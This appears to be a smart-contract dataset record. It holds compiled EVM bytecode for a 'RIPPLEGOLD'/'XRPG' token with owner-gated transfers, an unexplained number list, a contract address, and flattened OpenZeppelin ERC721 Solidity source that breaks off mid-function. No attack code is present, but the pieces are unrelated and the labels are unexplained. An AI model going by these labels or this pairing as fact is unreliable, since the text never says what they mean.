fffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106b257600080fd5b506106e7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111ee565b005b3480156106f557600080fd5b50610734600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506112a5565b604051808215151515815260200191505060405180910390f35b34801561075a57600080fd5b506107af600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114a1565b6040518082815260200191505060405180910390f35b3480156107d157600080fd5b50610806600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611528565b005b34801561081457600080fd5b50610849600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611680565b604051808215151515815260200191505060405180910390f35b600360149054906101000a900460ff1681565b6040805190810160405280600a81526020017f524950504c45474f4c440000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610a4a5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515610a5557600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60005481565b6000610ab7610aaf8585856116a0565b858585611781565b90509392505050565b601281565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610b705750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8015610b895750600360149054906101000a900460ff16155b1515610b9457600080fd5b610ba9826000546118aa90919063ffffffff16565b600081905550610c0182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a26001905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610cf857600080fd5b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e64576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ef8565b610e7783826118c890919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110d85750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156110f15750600360149054906101000a900460ff16155b15156110fc57600080fd5b6001600360146101000a81548160ff0219169083151502179055507fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a16001905090565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600481526020017f585250470000000000000000000000000000000000000000000000000000000081525081565b60006111c06111b884846118e1565b338585611781565b905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124a57600080fd5b6001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061133682600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115c057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061174b5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806117625750600360149054906101000a900460ff165b151561176d57600080fd5b6117788484846119c0565b90509392505050565b6000808580156117da5750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561189e578390508073ffffffffffffffffffffffffffffffffffffffff16633b66d02b86856040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561188557600080fd5b505af1158015611899573d6000803e3d6000fd5b505050505b85915050949350505050565b60008082840190508381101515156118be57fe5b8091505092915050565b60008282111515156118d657fe5b818303905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061198c5750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b806119a35750600360149054906101000a900460ff165b15156119ae57600080fd5b6119b88383611d7f565b905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156119fd57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611a4b57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611ad657600080fd5b611b2882600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c890919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611bbd82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c8f82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c890919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611dbc57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611e0a57600080fd5b611e5c82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118c890919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ef182600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118aa90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820feef4b88fb2b222a0bc50ebb4d6c0190cbd9e0f23086da5d4ecf34e86984a43b0029
[ 4, 7, 16, 5, 2 ]
0xf2d21129b6b93a91a726f24bc436d00331b0b338
// Sources flattened with hardhat v2.6.4 https://hardhat.org // File @openzeppelin/contracts/utils/introspection/IERC165.sol@v4.3.1 // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File @openzeppelin/contracts/token/ERC721/IERC721.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol@v4.3.1 pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol@v4.3.1 pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File @openzeppelin/contracts/utils/Address.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File @openzeppelin/contracts/utils/Context.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File @openzeppelin/contracts/utils/Strings.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File @openzeppelin/contracts/utils/introspection/ERC165.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File @openzeppelin/contracts/token/ERC721/ERC721.sol@v4.3.1 pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 